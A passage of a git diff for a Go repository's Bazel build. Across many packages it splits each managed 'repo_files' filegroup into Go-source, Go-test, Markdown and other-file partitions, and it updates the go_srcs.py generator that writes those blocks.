b/tests/migration/BUILD.bazel @@ -111,12 +111,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -125,7 +164,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/regression/BUILD.bazel b/tests/regression/BUILD.bazel index ee7410d1a..b0c7f12ca 100644 --- a/tests/regression/BUILD.bazel +++ b/tests/regression/BUILD.bazel @@ -51,12 +51,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -65,7 +104,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/upgrade_smoke/BUILD.bazel b/tests/upgrade_smoke/BUILD.bazel index be70457de..9963bb535 100644 --- a/tests/upgrade_smoke/BUILD.bazel +++ b/tests/upgrade_smoke/BUILD.bazel @@ -23,12 +23,51 @@ upgrade_smoke_tests( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/third_party/cc_toolchain/BUILD.bazel b/third_party/cc_toolchain/BUILD.bazel index c6e24cb8a..30c5af16d 100644 --- a/third_party/cc_toolchain/BUILD.bazel +++ b/third_party/cc_toolchain/BUILD.bazel @@ -5,12 +5,51 @@ # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -19,7 +58,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index 086c77351..f27f8bb37 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -25,12 +25,51 @@ exports_files(glob(["*.patch"])) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index e35ecd946..6b17dde5c 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -13,6 +13,16 @@ _DOLT_PLATFORMS_ONLY = select({ "//conditions:default": ["@platforms//:incompatible"], }) +# Read by //scripts:go_test_sources_test: the shard-coverage check's list of +# names that are not tests, and the Bazel-skip allowlist. +exports_files( + [ + "check_shard_coverage.py", + "equivalence_allowlist.txt", + ], + visibility = ["//scripts:__pkg__"], +) + # sh_test src for a second test target over an existing go_test binary (see # the script header), e.g. //cmd/bd/doctor/fix:fix_dolt_test. exports_files( @@ -305,12 +315,51 @@ release_cross_build( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -319,7 +368,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index e4ca6b6d3..4b685968a 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -21,16 +21,28 @@ Blocks in packages that are no longer listed are removed. Run from the repository root after gazelle (see `make bazel-sync`). Output is deterministic and gazelle-stable, so a clean sync leaves git clean. -Every package also gets a managed `repo_files` block: a filegroup of all of -the package's own files (`glob(["**"])` less local build and editor debris), -and the root package's aggregates every package's into `//:repo_files`. That -is the checkout as Bazel sees it, the `data` of the repository-policy tests -that walk the whole tree (every BUILD file, every test file, every tracked -Markdown file). A package without the block would drop out of their view and -pass them vacuously, which is why `make bazel-sync-check` (bazel.yml's BUILD -sync step, on every PR) fails on a missing or stale block. Trees in -.bazelignore (.beads, website, the nested example modules, agent worktrees, -node_modules) are outside Bazel and so outside //:repo_files. +Every package also gets a managed `repo_files` block: four filegroups that +partition the package's own files (`glob(["**"])` less local build and editor +debris) by what kind of input they are, + + repo_go_srcs non-test Go source (**/*.go less **/*_test.go) + repo_go_test_srcs Go test source (**/*_test.go) + repo_doc_files Markdown (**/*.md, **/*.mdx) + repo_other_files everything else: BUILD and .bzl files, scripts, + workflows, configuration, testdata + +and the root package's block aggregates every package's into the +`//:repo_` filegroups, whose union is `//:repo_files`. That is the +checkout as Bazel sees it. A repository-policy test declares the narrowest of +these (or one package's partition) that covers what it reads, so that an edit +outside it leaves the test cached: a docs-only change re-runs no Go-source +scan, a Go-only change no workflow policy test. Only the tests that really +read every tracked file declare `//:repo_files`. A package without the block +would drop out of their view and pass them vacuously, which is why `make +bazel-sync-check` (bazel.yml's BUILD sync step, on every PR) fails on a +missing or stale block. Trees in .bazelignore (.beads, website, the nested +example modules, agent worktrees, node_modules) are outside Bazel and so +outside //:repo_files. tools/bazel/BUILD.bazel also gets a managed `release_cross` block: the release_cross_build (tools/bazel/release_cross.bzl) that @@ -155,13 +167,27 @@ ROOT_REPO_FILES_EXCLUDE = ( "user.bazelrc", ) -# Who may read //:repo_files: the repository-policy tests. +# Who may read //:repo_files, every tracked file: the tests that scan the +# whole checkout. Everything else declares a partition below. REPO_FILES_VISIBILITY = ( "//scripts:__pkg__", "//scripts/repochecks:__pkg__", - "//test/docsync:__pkg__", ) +# The partitions of every package's files, as (name, include, exclude): each +# file is in exactly one. The debris patterns above match no Go or Markdown +# file, so only node_modules (and the root's own excludes) are dropped from +# the Go and doc partitions. +REPO_PARTITIONS = ( + ("repo_doc_files", ("**/*.md", "**/*.mdx"), ()), + ("repo_go_srcs", ("**/*.go",), ("**/*_test.go",)), + ("repo_go_test_srcs", ("**/*_test.go",), ()), + ("repo_other_files", ("**",), ("**/*.go", "**/*.md", "**/*.mdx")), +) +OTHER_PARTITION = "repo_other_files" +# Partitions are readable by any test in the repository; //:repo_files is not. +REPO_PARTITION_VISIBILITY = "//:__subpackages__" + def packages_under(root: str) -> list[str]: found = [] @@ -203,31 +229,56 @@ def block(pkg: str, tree_members: list[str] | None) -> str: return "\n".join(lines) + "\n" +def _str_list(items: list[str], indent: str) -> list[str]: + """A list literal as buildifier prints it: one element inline, more one + per line (the form gazelle leaves alone, so bazel-sync is a fixed point).""" + if len(items) == 1: + return [f'["{items[0]}"]'] + return ["["] + [f'{indent} "{i}",' for i in items] + [f"{indent}]"] + + +def _partition_glob(include: tuple[str, ...], exclude: list[str], allow_empty: bool) -> list[str]: + """`glob(...)` lines for a filegroup's srcs (8-space argument indent).""" + inc = _str_list(list(include), " ") + lines = [" srcs = glob(", " " + inc[0]] + inc[1:] + lines[-1] += "," + if allow_empty: + lines.append(" allow_empty = True,") + if exclude: + exc = _str_list(sorted(exclude), " ") + lines.append(" exclude = " + exc[0]) + lines += exc[1:] + lines[-1] += "," + return lines + + def repo_files_block(pkg: str, packages: list[str]) -> str: """The repo_files block of pkg ("." is the root, which aggregates).""" root = pkg == "." - exclude = REPO_FILES_EXCLUDE + (ROOT_REPO_FILES_EXCLUDE if root else ()) - lines = [ - REPO_BEGIN, - "", - "filegroup(", - ' name = "repo_files",', - " srcs = glob(", - ' ["**"],', - " exclude = [", - ] - lines += [f' "{e}",' for e in sorted(exclude)] - # No allow_empty: every package holds at least its BUILD.bazel. - lines += [" ],"] + lines = [REPO_BEGIN] + debris = list(REPO_FILES_EXCLUDE) + (list(ROOT_REPO_FILES_EXCLUDE) if root else []) + targets = [] + for name, include, own_exclude in REPO_PARTITIONS: + if name == OTHER_PARTITION: + exclude = debris + list(own_exclude) + else: + exclude = ["**/node_modules/**"] + (list(ROOT_REPO_FILES_EXCLUDE) if root else []) + list(own_exclude) + # repo_other_files always holds the package's BUILD.bazel. + body = _partition_glob(include, exclude, allow_empty=name != OTHER_PARTITION) + if root: + body.append(" ) + [") + body += [f' "//{p}:{name}",' for p in packages if p != "."] + body.append(" ],") + else: + body.append(" ),") + targets.append((name, body + [f' visibility = ["{REPO_PARTITION_VISIBILITY}"],'])) if root: - lines += [" ) + ["] - lines += [f' "//{p}:repo_files",' for p in packages if p != "."] - lines += [" ],", " visibility = ["] - lines += [f' "{v}",' for v in REPO_FILES_VISIBILITY] - lines += [" ],"] - else: - lines += [" ),", ' visibility = ["//:__pkg__"],'] - lines += [")", "", REPO_END] + union = [" srcs = ["] + [f' ":{n}",' for n, _, _ in REPO_PARTITIONS] + [" ],"] + union += [" visibility = ["] + [f' "{v}",' for v in REPO_FILES_VISIBILITY] + [" ],"] + targets.append(("repo_files", union)) + for name, body in sorted(targets): + lines += ["", "filegroup(", f' name = "{name}",'] + body + [")"] + lines += ["", REPO_END] return "\n".join(lines) + "\n" diff --git a/tools/docsmint/BUILD.bazel b/tools/docsmint/BUILD.bazel index da07e7a9b..5b10ddb51 100644 --- a/tools/docsmint/BUILD.bazel +++ b/tools/docsmint/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/BUILD.bazel b/tools/nogo/BUILD.bazel index 1e44a0bca..f1e2331d6 100644 --- a/tools/nogo/BUILD.bazel +++ b/tools/nogo/BUILD.bazel @@ -43,15 +43,60 @@ go_test( ], ) +# The nested module's go.mod, for //:nested_go_modules. +exports_files( + ["go.mod"], + visibility = ["//:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -60,7 +105,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/depguard/BUILD.bazel b/tools/nogo/analyzers/depguard/BUILD.bazel index 8dda85443..6b3bb4f56 100644 --- a/tools/nogo/analyzers/depguard/BUILD.bazel +++ b/tools/nogo/analyzers/depguard/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/errcheck/BUILD.bazel b/tools/nogo/analyzers/errcheck/BUILD.bazel index 2d1eaa1b2..28d7c90d7 100644 --- a/tools/nogo/analyzers/errcheck/BUILD.bazel +++ b/tools/nogo/analyzers/errcheck/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/forbidigo/BUILD.bazel b/tools/nogo/analyzers/forbidigo/BUILD.bazel index ae87048b5..a5769977d 100644 --- a/tools/nogo/analyzers/forbidigo/BUILD.bazel +++ b/tools/nogo/analyzers/forbidigo/BUILD.bazel @@ -25,12 +25,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/gosec/BUILD.bazel b/tools/nogo/analyzers/gosec/BUILD.bazel index 0f13fb1c9..68381b0cd 100644 --- a/tools/nogo/analyzers/gosec/BUILD.bazel +++ b/tools/nogo/analyzers/gosec/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/misspell/BUILD.bazel b/tools/nogo/analyzers/misspell/BUILD.bazel index 0b2053638..525f22c2c 100644 --- a/tools/nogo/analyzers/misspell/BUILD.bazel +++ b/tools/nogo/analyzers/misspell/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/sloglint/BUILD.bazel b/tools/nogo/analyzers/sloglint/BUILD.bazel index 9289cddb1..b90003388 100644 --- a/tools/nogo/analyzers/sloglint/BUILD.bazel +++ b/tools/nogo/analyzers/sloglint/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/unconvert/BUILD.bazel b/tools/nogo/analyzers/unconvert/BUILD.bazel index 2f988fd1a..7351d4a5e 100644 --- a/tools/nogo/analyzers/unconvert/BUILD.bazel +++ b/tools/nogo/analyzers/unconvert/BUILD.bazel @@ -25,12 +25,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/unparam/BUILD.bazel b/tools/nogo/analyzers/unparam/BUILD.bazel index f4c612814..76d18f163 100644 --- a/tools/nogo/analyzers/unparam/BUILD.bazel +++ b/tools/nogo/analyzers/unparam/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/internal/analyzertest/BUILD.bazel b/tools/nogo/internal/analyzertest/BUILD.bazel index c7734cf4d..b2202ef6c 100644 --- a/tools/nogo/internal/analyzertest/BUILD.bazel +++ b/tools/nogo/internal/analyzertest/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/internal/golangci/BUILD.bazel b/tools/nogo/internal/golangci/BUILD.bazel index 835acc846..27fb884c5 100644 --- a/tools/nogo/internal/golangci/BUILD.bazel +++ b/tools/nogo/internal/golangci/BUILD.bazel @@ -37,12 +37,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/internal/position/BUILD.bazel b/tools/nogo/internal/position/BUILD.bazel index 200493e23..8cc8a2947 100644 --- a/tools/nogo/internal/position/BUILD.bazel +++ 